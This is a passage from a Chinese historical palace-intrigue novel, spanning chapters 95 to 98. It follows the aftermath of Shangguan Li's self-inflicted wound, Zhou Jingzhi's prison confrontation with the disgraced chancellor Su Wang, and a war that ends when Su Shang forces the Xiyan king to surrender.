按理说禁军人数也不少,此行安全有一定的保障,然而上官栩却始终放不下心,毕竟追击苏望上官栎根本就不用参与。 上官栩想起上官栎进宫那日他对她说的话—— 他说,他的错,他自己承担就好。 他会如何承担?光是律法上的惩戒他又何须说出这样的话? 上官栩就觉得他此番出城的目的不只在随行禁军追捕苏望上,或者说不是她以为的那种追捕。 周景知也觉得此事不会简单,他了解的上官明樾太过高洁,太过仁善,而这样的人在经历过熙宁七年的事后一定会是长久地活在难以自洽的痛苦折磨中。 那么如今事至结尾了,近乎所有的牵挂都有着落了,他便可能要为此做个了结了。 两人都对上官栎担心着,但好在一路上上官栩随队禁军的位置都有人传回来,二人便带着人迅速赶去支援。 “阿兄!” 跟着山道一路往上,上官栩在一平坦高处看见一个插着剑、倒在血泊中的人。 周景知:“快叫军医!” —— 上官府内,端水出入房间的人络绎不绝,进去时都是一盆清水,出来后便成了一盆被血染红的看不见底的血水。 虽然在回京城的路上,军医便对上官栎的伤口做了止血的处理,然而伤口实在太深,太长,再加上在被人找到前,上官栎就已流了许多血,所以回来的路上他一度陷入了昏迷的状态。 见荀阳从里间出来,上官栩立马起身上前,询问情况。 荀阳垂眸轻叹:“失血太多,之后得多养一阵才行,但是……上官大人的手,”他抬眼看向上官栩,见她目中盛满焦灼和期盼,可也不得不说道,“虽说手臂骨头并未全断,尚有愈合可能,但他手上其它的活动能力,我只能说我无力回天。” 荀阳解释道:“上官大人下手时不留余地,他左手上的筋脉尽数断裂,就算之后伤口愈合,筋脉也几乎不可能恢复如初,运气好一些的话或许还能轻微地动一动,但多半他连这些轻微的动作都做不出来。” “栩儿……”在听到荀阳那话之后,周景知都尚且觉得痛心,更不用说与上官栎兄妹情深的上官栩,所以他连忙转头去看她,就想说些宽慰的话。 可是上官栩却并未露出失控的举动,只是她脸上仍有痛色:“我没事。”她将荀阳的话消化一阵后抬眸看向荀阳,“之后的几日便有劳子阳为我阿兄多照看着了。” 荀阳颔首:“这是自然,娘娘也尽管放心。” 说完,里间就来了医女向荀阳说里面还有需要他处理的地方。 荀阳便先去了。 周景知目中担忧未减地看向上官栩道:“你先去歇一会儿吧,明樾兄这里我来看着就行。” 先是快马出去寻人,又是马不停蹄地护送人回来,在这里还守了这么久,上官栩眼底已有一层淡青,有了几分憔悴。 又看着她衣摆上沾上的血迹,周景知心中一涩,张张口又想再劝。 “其实我对今日的事并不感到意外。”在周景知准备再开口时,上官栩先说道,“我与他相伴多年,对他性格早已了解,那些事对他而言就是根扎在他心里的刺,他自己种的他自己就一定会亲手拔除,而拔除的目的也不仅因为要为自己一个交代……” 上官栩默了默,将未尽的话说完:“他还为了不让我为难。” “苏望的事一旦清算起来便一定会有他的身影,他担心我最后在定罪上因为他而失了公正,有了偏颇。所以他就先断一臂,以此自承其过。” 周景知垂眸:“的确,以明樾兄的为人,这的确都是他会顾虑的事。” 上官栩眼眶酸了酸:“但这或许也是对他的解脱吧,那根刺扎在他心里四年多了,如今虽是连着血肉被剜了下来,但这是他自己做出的选择,他便也是畅快的吧。” 周景知轻声:“其实当年的事虽不能说完全与他无关,但究其根本,他也是因为受到了胁迫,且以苏望当时的势头来看,就算他竭力反抗,最后结果也不会有多少变化。明樾兄太过仁善,所以在面对苏望那样的人时,他的仁善便成了别人拿捏他的软肋。” 周景知望向里间方向,轻叹声:“只盼他以后能够看开些吧。” 二人默然片刻,都沉寂在往事中,心绪难平。 还是周景知先道:“快去休息吧,这里有我就行。” 上官栩抬眼:“苏望已经被押入天牢了,你没有什么话想去与他说的么?” 周景知抬手,拇指抚在她眼下,就想化去她的疲惫。 他柔声道:“不急,你先去休息,等你休息好了我再去。” 第96章 在天牢的一间牢房里,苏望周身穿戴整齐地盘腿坐在石床上。 他阖着眸,神情自若无澜。 直到外面脚步声响起,他才慢慢睁开眼,目光划过门上正被解开的锁链,看向了门外的两人。 牢门被拉开,苏望勾唇露出一抹冷笑,对着那青年郎君说出了第一句话:“我是该叫你徐侍郎还是应该称你一声昭皇帝陛下?” 牢房外的那人走入牢房内,苏望眼尾含笑目有挑衅地看着他。 可是周景知却始终不置一词,苏望不由得敛了笑意,甚至他内心原本竭力压制的情绪在此时此刻也再次翻涌起来,是一种落败后的恐慌和不安。 苏望稳住身型,脸上未显异样道:“怎么?难道你不喜欢这个称呼,这个‘昭’字可是美谥,意为‘明德有劳,圣闻周达’。”他笑了笑,“这谥号还是当初我亲自为你选的呢。” “一个不及弱冠的皇帝能得如此美谥,当是千古流芳之事。你还有什么不满意的呢?” 周景 知终是有了回应,冷冷一笑之后反问道:“如此一来,我还要感谢你?” 苏望笑不做声。 周景知再往里走了几步,坐到了牢中的矮凳上,身后的狱卒跟着前进,在他身前的矮桌上放了茶碗和茶壶。 周景知抬手止了狱卒要倒手的动作,而后亲手接过茶壶往碗中倒了水,又往石床那边递了递,落在了矮桌边缘。 “这狱里的吃喝都被严格控制,你上一次喝水应该还是吃饭的时候,等一下还要说很多话,不如先喝点水。” 苏望冷笑:“你要与我说什么呢?” 周景知掀着眼帘看他:“不是我要说什么,而是你要问我很多话吧。” 苏望静静凝望着他,眸色如潭,森冷无澜。 “你怎么活下来的?” 周景知轻笑:“没想到你最先问我的是这个。”他看着石床上的人,面色平静,就像在说着一件再简单不过的事一样,“多亏了张公和顾安策,没有他们我出不去长安,更离不开曲江。你的毒也的确很厉害,竟折磨了我四年之久。” 苏望:“听你的意思,你的毒也是近些日子才解的?” 周景知:“就在苏叙白派人满江南找我的时候。” 苏望便了然了,微仰了仰头,不知情绪地闭眸笑了笑,他叹:“还以为你那时就是个天真的皇帝,原来你也有不少心思,那时就将你的势力培养好了,那是否你也曾想过要铲除我?是否若当时没有上巳的夜那事,那之后该死的就是我?” 周景知蹙了眉,目中带上有几分厌恶:“你以为张公他们救我是因为我一早就拉拢了他们?”他不屑嗤声,“你说得对,我那时就是太过天真,天真到以为我身边的人都好人,天真到我以为那表面看起来清风峻节、为国事殚精竭虑的宰相是个良臣!” “那时的我从未想过要刻意培养什么亲近自己的势力,我只想每个位置都有适合它的人,择优而选,也亦如你所说的太过‘天真’,所以我对每个人态度都是一样的,只是当下朝廷需要做哪些方面的事我便会更留意到哪些方面,亦如当时的黄河沿岸修建堤坝一事。” “而你那时却只想着一件事情,就是杀了我,又恰好那时我和工部有更多的来往,你便理所当然地认为工部的人是我的亲信,故而你也将更多的注意力放在他们身上,从而忽视了我对其它朝臣的态度。” 周景知眸光随着声音压沉:“我可以很直白地告诉你,熙宁七年之前,我从未想过要杀你。” 苏望抬了眸:“那现在呢?” 周景知亦如他话中所言,不加隐藏:“啖肉饮血,难解吾恨。” 苏望笑了下:“这话,你以前是从来不会说的。” 周景知丝毫不为所动:“可若是以前的我,我能让你呆在这儿么?” 苏望歪了头,眼尾带着笑,不解又新奇审视他:“我真是不明白,你回来做什么,或者说你以你真实的身份回来做什么?” “依旧如我刚才所说,你不过一个不及弱冠的皇帝就能得到‘昭’那样的美谥,以后的世人只会称赞你,惋惜你,畅想你长寿之后江山会是什么样的一个江山,他们会无限美化你,而你现在回来了,还以皇帝的身份回来了,那你能保证你后面就能做得比后世畅想的还要好吗?古来多少君王都败在了年岁上,你就能确保你不会成为一个昏聩的君王?” “而就算你不回来,大晋依旧大晋,那个小儿不是皇嗣又怎样?丰王还在,以后他的孩子依旧可以入继大宗。且这几年来,四海升平,我也算是做到了一个贤相该做的了吧?如此你有少年英主之美名,而我亦有千古贤相之称颂,这难道不是双赢的么?” “就算你放不下你以前得到的那些权势,你也可以像你之前那样用旁人的身份回来,与我合作,安心地做一个徐大人,待我百年之后,你位极人臣,这天下不依旧是你的么?” 苏望扬着眉,眼中光点闪闪,就像再说着一件绝妙之事。 周景知静静地凝望着他,突然笑了:“你承认了。” 苏望讶然。 “当年上巳夜你的动机非是什么伊尹之志,你就是觉得你的贤相之名不保,所以你要绝对掌控权力,要政由己出,要以后史书上所有的政绩都是记在你的名下。”周景知压着笑意,“你刚才的话似乎很有道理,然而你忘了,我不只是为了我一个人回来,我还要为了工部的诸卿回来,为了我三王兄一家回来,以及为了……当年在洛州那场洪水中所有遭难的百姓回来。” “你刚才说我用旁人的身份,那你可知道,徐卿安,他本人在何处?” 在苏望的目光注视下,周景知一字一句:“那年,他随长兄一同路过洛州游学,途中却遇暴雨洪水,与他长兄一起被卷入洪流中,他的长兄于下游处寻到尸首,而他至今都未寻到尸骨。” “当年洛州洪灾,到底可不可以避免你一清二楚,所以你说,我若真借徐卿安的身份活下去,我该不该替他报他的那份仇。” 苏望眼尾微不可察地抽搐了几下。 周景知缓缓站起身,眼神乜下,轻声道:“啖肉饮血,自是痛苦,然而你不该就这样死去,你想做贤相,想要千古美名,我偏就让你看见你是如何被世人厌恶,又会怎样遗臭万年。” “三司对当年之事已经开始彻查,所有证据证人也都齐全,包括你这两年所为的那些见不得人的事也都被曝露于阳光下,从这一刻起,你的身边将会一直有人寸步不离地守着你,你想要求死,任何方式都不可能实现,直到你被游街长安,斩首于菜市口那日。” 苏望的四肢嘴角终是不可控制地颤抖起来,然而他咧唇大笑:“怪物……原来我的影响竟能如此深远,竟能将一个君主彻彻底底地改变成另外一个人。事到如今,那我还只想最后问你一件事——” “那个小皇帝你会如何处理?一个冒充过宗嗣当过皇帝的外姓子可是会被人做文章的。” —— 上官栩再次见到周景知的时候是在上官府内,彼时她才从上官栎那里出来,方一踏出房门便遇上来归来的周景知。 她第一眼便发现他周身气息低沉,兴致不高。 “去见过他了?” “嗯。”周景知应声,往房间方向看了一眼,“明樾兄如何了,还好么?” 上官栩颔首:“刚才醒过,现在又歇下来,房中有嫂嫂在,我便不打扰他们了。” “怎么了?苏望与你说什么?”她言语关切,视线又不停来回落在他眉宇间,就想知道到底是什么让他沉闷。 周景知也察觉她对他的关切,扬了扬唇,笑道:“无非就是些不甘的话,放心吧,我没有因他的话而受到影响。” “我只是……”他垂眸再抬眼,转眼间脸上笑意不在,“我只是觉得我似乎并不痛快,哪怕我以最以牙还牙的方式还击回去我也觉得不痛快。” 上官栩明白他的意思,更理解他的感触,叹声道:“大概是故人已逝,便是祸首付出了代价他们也回不来了吧,而张公,阿兄这些一直朝夕在我们身边也在这些事情中一次又一次受到了伤害,想起这些,如何能痛快呢?” 说到这些,上官栩兀自垂眸,心中百感交集,然而她仍是打起精神继续问道:“还有了?他当真就认命,没有再对你有其他挑衅?” 周景知看着她,眉头微微扬起,又笑又无奈:“听你问了这话,我一时都不知你到底是太了解我还是太了解他了。” 上官栩失笑:“怎么?我说中了?” 周景知自然要点头承认,又浅笑轻松道:“他问我,当年之事悉数查清昭告天下之后,阿筝的弟弟该怎么办?他暗示我一个当过皇帝的外姓子是应该除掉,以绝后患的。” 上官栩闻言也不意外,她也丝毫没有对他想法的担心,反是有些好奇地追问道:“那你是怎么回他的?” 周景知抬了抬眉梢,唇角 噙着一抹极淡的弧度,又颇有几分悠然道:“我就说非是所有人都与他一样,唯以名利权柄为首,故而他所问的从不是我内心纠结的问题,反而在我心中早有两全之策。” 牢房内,苏望被几个人同时盯守着,他坐靠在墙壁,刚才周景知回复他的那句话不断萦绕在他耳边: “吾非尔,万事只重名利,然尔陷囹圄,也难为以枭獍之心度人。” “纵观以往,所行之不义也不过徒劳,如挈篮求水,尽付东流耳。” 第97章 平兴四年,三司彻查熙宁七年上巳之事,为当年所有被含冤牵连的人翻案平反。 而世人这才知道,原来那曾经以德高之名名满天下的宰相苏望竟才是那阴谋的祸首。 所有事情全部水落石出,连带熙宁七年之后的这几年来的不法之事也都一并查明。 所有涉事者全部依律处置,而其中最受人关注自然的便是那曾经的辅政宰相苏望。 依照最初的安排,三司在梳理完案子后便要递上结案文书和涉案人最后的判处结果。 然而,在上官栩和周景知翻开文书的那一刻,顾筹便在通禀之后大快步迈进殿里。 “陛下,娘娘,天牢里送来消息,苏望死在狱里了。” 话落那刻,上官栩和周景知同时转头与对方相视一眼,满是诧异。 上官栩先回头问:“因何而死?” 顾筹答道:“仵作验尸后,说是长时间惊惧而亡。” 周景知垂眸沉声:“看来我那日说的话他终是消化不了了。” 那日在狱中,周景知将他对苏望的安排提前全数告诉了苏望,无可否认,他的目的就是要在之后的日子中,让苏望在失去自己最在意之物的恐惧里受尽折磨,要他忏悔,亦要他痛苦。 这本就是他该付出的代价。 上官栩看了看周景知沉吟的侧脸,也低垂下眸道:“苏望这后半辈子追求的都是旁人的追捧和夸赞,他本以为自己能做流芳千古的贤相,然而如今却要亲眼看着自己受万人唾骂,注定遗臭万年,这样的落差,对他的而言当是极大的打击,他难免接受不了。” 周景知微微颔首:“想来从我将我对他的安排告诉他的那日起,他便一直处在这种打击的折磨中,而这些日子他也不过是以他那‘宰相尊严’再与之抵抗罢了。”他轻叹声,抬眼向顾筹道,“既然人已死,那三司原本对他的安排便免了吧。” 三日之后,在宫城外,上官栩与上官栎说着临别的话。 虽然当年的事情,上官栎是受到了胁迫,然后他挪用中宫印玺是事实,所以,就是案件没有梳理完之前,他也自请受罚。 上官适是庄帝时的重臣,他与庄帝君臣相得,故而在他逝世之后,他的墓地也被选在庄帝的陵墓旁,与苏瑜的墓一起作为庄帝的陪葬墓。 上官栎此番要去的便是庄帝的肃陵,他以戴罪之身为庄帝和苏瑜、上官适守灵,而同时他还要带苏望的尸身去肃陵旁安葬。 苏望虽葬于肃陵旁,但无葬仪,丧葬之物一切从简,亦其墓不设坟茔,以此代跪,向庄帝及其大哥苏瑜谢罪。 天气越来越凉,凉风吹过,上官栎鬓边额前的碎发杂乱无章地飞起,给他带起几分萧索。 上官栩看着他无力垂着的左臂,没有任何一丝一毫的动作。 此番去陵园,苏凝也将随同上官栎一起去,现下她站在上官栎身旁,虽气质依旧温婉,然而经历过这些巨变后,也能感觉她多有强撑之意。 上官栩心中百感交集。 “阿兄,嫂嫂,陵园冬季寒冷,你们都注意要保护好身体。” 上官栎唇边挑起笑,笑容依旧如以前那般如沐暖阳,上官栩知道,他是在以这种方式宽慰她,让她不要担心,然而时过境迁,笑容相似,而其中蕴含的笑意却截然不同了。 她压下那些酸涩感,也扬唇回应他笑容。 上官栎温声道:“殿下也要多保重身体。” 他看了眼天空,眼睫颤动着眨了眨,移回视线道:“时间差不多,不能耽误太久,我便先走了。” 上官栩垂眸,眨眼些许,轻声:“好,一路保重。” 看着二人先后上了马车,看着马车慢慢消失在视线里,听着车轮声渐行渐远,上官栩站在原地久久没有离去。 而这日离开长安还不只有上官栎夫妻二人。 在他们离去后不久,姚筝也带着她的弟弟离开了长安。 在许多的刺激和荀阳的医治下,姚筝已经全部回忆起了那些,但许是年龄太小,姚志却是对以前的事完全没有印象了。 他只是似乎知道,他不属于这种皇城,他目前的一切都发生了翻天覆地的变化,以前,他曾以姑姑相称的阿筝姑姑竟是他的亲姐姐,而他更是和他以前的身份毫无关系,他的家人在洛州,他要和他的姐姐去洛州看望他的家人。 又一次目送朝夕相处的人离开,上官栩低垂下头,呼吸声轻叹,而下一刻她感觉到左肩传来一股温热而有力的触感,她被人揽入怀中。 上官栩抬眼,向身旁的看去,他目有暖意,在与他目光相接的那刻,恍若现在她所处不是萧索的秋季,而是暖融的春日。 阳光从他耳后、眼角擦来,而她亦是能第一时间捕捉他清浅温柔的笑意。 她听他说:“新的日子就要到来,每个人都会更好的。” —— 平兴四年,熙宁七年之阴谋被公开于天下,祸首皆被惩处,而更令天下人震惊之事,原来昭帝并未在那阴谋中殒命,反是浴火重生而归。 至于原平兴幼帝,非皇室之子,乃罪臣苏望挟持上位,故而废帝位,去年号,由其家人带回抚养。 是年十月,熙宁皇帝复位,于太极宫前行复位登基大典,改元昭徽,其皇后上官栩与其携手登临御座,于太极宫前同受百官朝拜,且有大监宣旨,“此后政无大小,帝后共闻之”,自此,大晋朝开启二圣临朝时代。 然而二圣临朝之后不久,西境便传来消息——西燕举国来犯,已有倾压之势。 而这次西燕之所以能够来得这么快,皆是因为他们队伍中有一个极为了解大晋的人——苏尚。 苏尚赶赴西燕,向西燕王投诚之后便煽动其早已按耐不住的进犯之心,不消几日,西燕便组织好军队向大晋进犯。 此番西燕来势凶猛,大晋自是要加紧组织好军队抵抗和反击,然而除了军报外,周景知还收到了一封私人信件。 苏尚让他御驾前往西境,否则苏尚将要把大晋更多的边防秘密泄露给西燕人。 周景知定然要去。 在他出征前夜,上官栩帮他试着盔甲,忧心忡忡道:“他此番点名你去,定然是有其它图谋,你务必要小心。” 周景知看着她打理在身前的双手,轻轻“嗯”声:“你放心,我会多留意的。” 上官栩抬眼,静静地看着他。 她眸中情绪流动,来回反复,但他知道其中应是担忧更多些。 他笑了笑,握了她的手放在胸前:“不必想太多,他的手段我也都是了解,会有所防范的。” “我等你回来。” “你等我回来。” —— 抵抗西燕的军队会从附近 的地方调动过去,所以为赶时间,周景知只率了几千骑兵,一路快马赶赴边境。 彼时,战争已打了一月有余,大晋援军到来之后,双方也都相持不下。 西燕主力兵马据城不出,周景知到了晋军的中军营后便立马开始与众将商量起了抗敌的策略。 也在这时,他又收到了私人信件,但这一次信件最后没有落款。 “现在暗中送信不知那写信人到底打的什么算盘,其中内容还是相信不得。” “臣以为,陛下如今坐镇军中,士气大增,完全不需管这信中内容真假到底如何,只需直接下令让将士攻城即可,那群西燕蛮子定然守不住。” “是啊,如今粮草、兵力我们都一定是胜于西燕的,攻城之举完全可行。” 来信那日,周景知正和众将站于沙盘前,他将信中的内容说出了些,众将便开始七嘴八舌地讨论了起来。 他沉吟许久,最终下了决定。 虽然西燕的主力都盘踞于城中,但是周围的山林里亦是有西燕驻扎的军队,所以要想将西燕人驱逐,要城池山野联合起来攻打。 周景知定下的决策进展起来尤其顺利,山野的西燕军节节败退,溃不成军,最后阵线缩小,一步一步向城池靠拢,而也是在这时,同样亲征的西燕王许是意识到了周景知这个君王御驾亲征对晋军的鼓舞,他自己便也不甘落后,亲整了军队准备主动出击。 他身边有极为了解那个君王的军师,他也靠着那个军师拿下了最开始那几场战役的胜利,所以这一次他出击他有绝对的信心。 且大晋的君王几代都处于和平之中,根本就不像他们西燕王一样,长期处于大晋的压迫下,从而一直都研习着兵法、锻炼着士兵,只想有一日能将那数十年的称臣屈辱历史洗涮干净。 果然,从他出击开始,两边的形势又发生了变化。 晋军似有败退之象。 也终于,西燕王按捺不住,要如兵法中的那样“擒贼先擒王”,也是那一次,两边君王第一次正面交锋,周景知也在苏尚逃离长安后第一次见到他。 几次连胜,西燕王自是得意,且今日他也早已有安排,他便对周景知说了几句狂言。 “倘若你现在下马受降,以后我仍让你做大晋的君王。” 周景知骑于马上,恍若未闻,不为所动。 西燕王大怒,当即下令让埋伏之人现身。 话落,那埋伏的位置渐渐有了士兵喧嚣的起势声,西燕王听着慢慢露出笑,然而,却在下一刻见那埋伏处被扔下的竟数是西燕兵士,高处竖起的旗帜也是晋军的军旗。 西燕王瞠目:“怎么回……!” 可话还没说完,他胸前就穿出一把利剑,西燕王埋首,尚还没反应过来地看着剑身上挂着的自己的鲜血。 他听着苏尚冷冰冰的声音在他背后响起: “蠢货,让你做什么你便做什么。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【终章】 第98章 在西燕王无力摔下马的那一刻,西燕军队瞬时慌乱起来,有彷徨不知措的,有想上前为自己的大王报仇的。 乱军中,周景知和苏尚的视线交织在一起,一个平静淡然,一个略带恨意不甘。 苏尚的亲卫挡住他身后杀来的西燕兵,在一目不错地对视下,苏尚牵转了马头,向反方向纵马离去。 周景知开了口:“传令下去,此役中的西燕兵士,一个都不能放走。” —— 苏尚从交战处突围后一刻不停地往西燕王城处赶去。 此番西燕王出兵大晋是势在必得,故而西燕王所带出的兵马已近乎是西燕全国可派遣出的精锐。 然而,太过得意和轻敌,不仅西燕王自己丧了命,就是他带出的兵士也都陷入了混乱危险之中。 直接参与到此次两军君主对战战役的西燕兵士自是无法逃脱,但其他留守在驻地的西燕队伍在消息传开之后,也同样会因为丧失君主而群龙无首,混乱一片。 趁着前线慌乱,西燕王战死的消息还未传开时,苏尚快马加鞭回到了西燕王宫内。 在之前苏尚的撺掇下,西燕王御驾亲征,留下十四岁的王储监国,而就在苏尚回到王宫时,西燕王储惊诧道:“苏客卿怎么回来了?可是父王派您回来的。” 苏尚眉眼轻压,停在王储身前几步,行西燕礼后道:“宾臣受王上安排,特回王城保护殿下。” “可是你走了,父王他……” “前线战事焦灼,王上担心王城有细作便令宾臣回来彻查一方。” “哦……”王储似懂非懂,“那前方的战事怎么样了?父王他可还好?” 苏尚抬了眼,目无波澜地看去:“宾臣回来前,王上一切都好。” —— 前线,一场战役刚才结束,于西燕而言自是损失惨重,被俘被杀者数不胜数,就连国家的王也死于阵前。 周景知回了中军帐,听着各将军汇报战况。 “遵陛下旨意,此战西燕的人一个都没能逃脱出去,但周边离得近的西燕驻军应该也很快就会发现不对。” 周景知看着沙盘上的战局沉吟道:“无妨,本也没想过要瞒着他们。” 他站直身子昂首下令道:“先将西燕王死于阵前的消息传于我们军中,让各军速速整顿好,待西燕余部得知西燕王已死的消息便即刻出击!” 众将纷纷拱手领命。 而待诸将都退下之后,从长安随驾而来的顾筹轻声道:“陛下,按时间,苏七郎现在应该已经到西燕王城了。” 周景知听后默了默,轻轻点了点头。 又见顾筹还在旁侧,似还有话要说,周景知便道:“安策可是还有要问的?” 见被看出自己欲言又止,顾筹便也不再迟疑道:“之前陛下便是收了苏七郎的信,和他里应外合做了这场将西燕王引出来的戏,而如今西燕王已死,陛下却还是还是为苏七郎暂时封闭消息,给他时间前往西燕王城,可是因为苏七郎和陛下还有合作?” 周景知抬眼看了看提问之人,这些年来就是在他落难时,顾筹也常伴在他身边,忠心待他,所以他从不疑心眼前人,他只是对这个问题的答案并不确切。 周景知往旁边踱步几步,缓缓开口道:“在最后一封信里,苏叙白曾在信尾提到了他要在此战后赶去西燕王城,而他给出的理由,也是和此前一样——与我里应外合,拿下西燕王城。只是他信中是这样写,但我却始终觉得,他当还是另有打算。” 顾筹闻言立马担忧道:“那他可是想要借西燕王城为据点,联合西燕旧部,像对付西燕王那样对您不利?” 顾筹的担忧不无道理,要知道,苏尚最先出逃西燕就落了叛国的口实,且他还在西燕发兵之际写信去了长安挑衅,若不是后来他主动写信来提出合作,旁人便都早已认定他是叛国之臣,然而他的这些举动也实在是反复无常,让人难以捉摸。 而且还有至关重要的一点是,他的父亲已经死在了大晋,他们苏氏的诸多殊荣也都如高楼坍塌,取而代之的是更多的骂声,而在他的角度来说,造成这一切的人就是现在和他的合作的这个大晋君主。 如何能确保他没有报仇的心呢? 周景知听了顾筹的话沉吟片刻,道:“应当不会,他若要像对付西燕王那样对付我,他便没有必要多走弑杀西燕王的那一步,不然若他杀西燕王的事传开,这样一来对他在西燕也再无立足之地,对他百害而无一利。” “而且那一战,他还将西燕的大部分精锐引入了战局,看得出来,他很想让西燕战败。”人心难测,周景知凝了眉,“先让各军按原计划行军,苏叙白那边……他不会影响大局。” —— 自西燕王战死的消息传开之后,西燕军队的士气就近为崩溃似的涣散瓦解,就算西燕内部想要加以补救地将王储扶立上了王位,但起到的作用却也是微乎其微,大晋的军队一步一步地将他们压退到了王城。 大军兵临城 下,苏尚进入西燕王宫见新西燕王的那日,方才迈入宫殿里,新西燕王就趔趄地向他快步而来。 “苏客卿!苏客卿!晋军压城了,你快再想想办法打退他们!” 在晋军反攻的这段时日,如那老王一样,新西燕王也凭借着苏尚的几次谋划,打退过晋军几次,虽然整体的局势没能得到改变,但新西燕王却也觉得这已是极为不易的结果了。 且晋军接连攻城,又已深入他们西燕境内,他们也定然有累的那天,只要他们西燕能撑住便总能抓住时机反击回去。 而苏尚是这段时间唯一带领他们西燕军打过的胜仗的人。 新西燕王就将他当作救命稻草。 苏尚对他笑:“王上是想要战争结束的方法是么?” 战争结束……对,他想的就是将晋军击退,让这场战争结束。 西燕王连连点头。 苏尚笑意依旧:“那宾臣倒确实有一个法子。” 西燕王闻言顿时两眼放光:“苏客卿快请说。” “王上请随宾臣来。” 苏尚带着西燕王到了御案前。 “王上,请坐。” 西燕王虚慢地坐下:“苏客卿是要给我、寡人看什么东西么?” 一个初登王位的十四岁青年,对自称的更改都还未来得及适应。 苏尚看了御案旁摆着一把长剑,他听说这几日新西燕王因为战事的事寝食难安,便是睡梦里都喊着晋军不要杀他,他这才随时随地都带着把剑。 苏尚没有回答他的话,只为他铺陈开了一张纸,为他研墨后拿笔蘸了蘸,又递给了他:“王上,写吧。” 西燕王的笑意刹那散去:“写什么?” 苏尚微笑:“降书啊。” “什么……” “王上不是想要战事停止么,如今情况,唯有投降可以止战。”在面对西燕王的惊愕下,苏尚依旧我行我素地说道。 西燕王嘴角抽搐,不敢相信道:“苏客卿是在开玩笑吧?寡人说要止战,可没说是要投降啊,苏客卿,你可是唯一一个能打退晋军的人,你怎么都说没有办法呢,寡人……!” 一道见光闪在双眼上,西燕王身子刚打了个寒颤,那冷剑便落在了脖颈间,苏尚在他说话时,脚下看似随意踱出了几步,然而却是一下干脆地拔出了那把被西燕王放在剑架上的剑。 “退下!”苏尚喝退了殿里欲上前的宫人。 他将剑架在西燕王的颈边,宫人见状自也是不敢轻举妄动。 苏尚压了眸,冷声向他手下挟持之人道:“写。” “写、写什么?” “降书。” 西燕王双手不受控地颤动,迟迟不下笔。 苏尚一眼看出他心中顾虑:“你以为人人都能在十三十四岁时候就做好一国之君?你以为就凭你就能挽救你们西燕大厦之将倾?你以为你的那些臣子还和你一样都甘愿做你的替死鬼,为你们西燕击退晋军?”苏尚冷笑声,语速慢下来,“你要不要把那些正站在你宫门外的臣子都叫进来问问他们的想法?” “宫门外?!”西燕王偏头看去。 苏尚勾唇:“全都是请愿让你投降的,谁会那么傻,为了你们赫连家的基业舍生赴死?你以为你的父王进犯大晋是为了什么?不也是为了他的贪欲?可惜,他的贪欲未成却偏偏还连累了你。” “你虽才十四岁,但你应该也读过不少史书,当是知道古来负隅顽抗之人的下场是什么,所以你想活命,唯有投降这一条出路。你才多少岁啊,还有多少好日子都没过过呢,就这么甘心被大卸八块,千刀万剐?” 苏尚的声音就像幽洞中拂出的冷风,刮过人的耳廓时就带着一股冷意顺着耳道注入人全身。 “快写。”他声音不急不慢,但声音却是咬着牙从齿缝中钻出的。 冷剑锋利,架在颈边,隐有一股刺痛,西燕王颤着手开始写起了降书。 “错了!你要投降的人是,大晋,上官栩!” 一声怒喝响在耳边,西燕王也顾不得、也不敢问为什么,连忙再抽了张纸,把降书重头开始写。 —— 西燕王出降那时,西燕上下全部臣子与他在王城外,携国玺出降。 周景知携兵至城外,大晋上前接过了西燕王的降书。 西燕王头都不敢抬的,只余光瞥着那传递降书的人,见差不多送到那大晋君主的手中时,他便高声道:“臣,西燕国主赫连永丰,率举国臣民纳土归降于大晋……愿、愿去国号,全境划入大晋统辖,只求大晋皇帝陛下垂怜,免我西燕百姓刀兵之祸。” 周景知看着手中的降书,明白刚才新西燕王为何会有那一刹迟疑,又为何后面说话的声音越来越弱。 只因那西燕王在降书上写的他要投降的人,不是大晋君主而是大晋上官栩。 西燕王的全身控制不住地轻颤。 当时苏尚把刀架在脖子上让他写的他要投降的人是大晋上官栩,可是这样的降书里怎么能不写一国主君,而是写一国皇后呢。 西燕王就怕周景知恼羞成怒,不接受投降而直接杀了他。 谁知他竟听见那国君轻轻笑了声。 西燕王鼓着勇气抬首去看他,只见马上那人眉目温润,身姿俊朗,全身透着如玉般的气质,而他刚合上降书,眼尾还含着笑,没有半分要迁怒于人的态势。 青年君王清朗的声音传来:“西燕王你写掉了一句话。” 西燕王双手一紧,当即惊出一身冷汗,可是他听见那人说:“降于谁是其一,降于大晋又是其一,不然以后若你西燕的臣民有不甘者,这降书岂不是就说不清了?” 降于谁,可以说因谁而有的投降这一举动,亦是折服于那人的意思,然而也仅仅只是针对于那一个人,也就是说,降书中若无明确要降于哪一国,那么在那人身死之后,那么投降之人便可就借此撕毁降约,再度反叛。 西燕王连连应声:“陛下说得是,罪臣这就改。” —— 此次战事,西燕从大晋的属国直接变为大晋的属地,为此,周景知也需在西燕停留一段时日,将对西燕诸地的管辖安排好。 然而就在他刚与西燕王一起迈入西燕王宫大殿时,殿内突然闪过一瞬剑光,一个蒙面人持剑向他杀来! 周景知条件反射般往后一侧,躲开了刺来的利剑,又跟着抽出随身佩戴的剑反击回去。 两柄剑碰撞在一起。 相扛两人的目光跟着汇聚在一起。 身旁的西燕王在那瞬间已经被吓得软了双腿,倚在了别人的身上。 同时间,顾筹带着随驾的禁军上前驱敌。 周景知双臂持剑向前一推,脚下亦同时往前一踹。 那蒙面人也反应过来,身子向后一倾,脚底与周景知相抵,瞬时退开几步。 “都出去。”在禁军蒙面人包围住的那刻,周景知平淡地下令道。 顾筹怔然:“陛下……” 周景知与他担忧的眼神对上一眼,坚持道:“无事,你们在殿外守着就好。” 顾筹知道,自家陛下万事都是有把握才去做,又见他这般坚持,便也应道:“臣等就在殿外候着,陛下有事便唤臣。” 周景知莞尔说好。 而待到众人都退出大殿后,那蒙面的人也再没有刺杀的举动,只站在原地,平静地与周景知对视着。 周景知:“如今人都走了,你还不肯摘下面巾,露出真面目么?”他一字一句补充,“苏叙白。” 蒙面人闻言,眼帘垂了下,面巾后传出一声极轻的笑声,慢慢地,他手抬起,解下了脑后系带。 周景知看着苏叙白慢慢抬起眼向他望来。 周景知:“第三次了吧?你又失败了,看来你运气实在太差了。” 苏尚:“是你运气太好了。” “还有,”苏尚补充,“不是第三次,只有两次,你指的第一次我可没参与。” “但你想吧?” “想是一回事,做又是一回事。” “你就没有半分推波助澜过?” 殿内沉静一瞬,半响,苏尚道:“那降书内容你应看见了吧。” 周景知干脆道:“看见了,写掉了一句话。” 然而他这般平静,苏尚的心绪便翻涌得愈发厉害,他深呼吸压了压,此时此刻,他已不想再如以前那样非要与那人争吵、打斗来决个高下了。 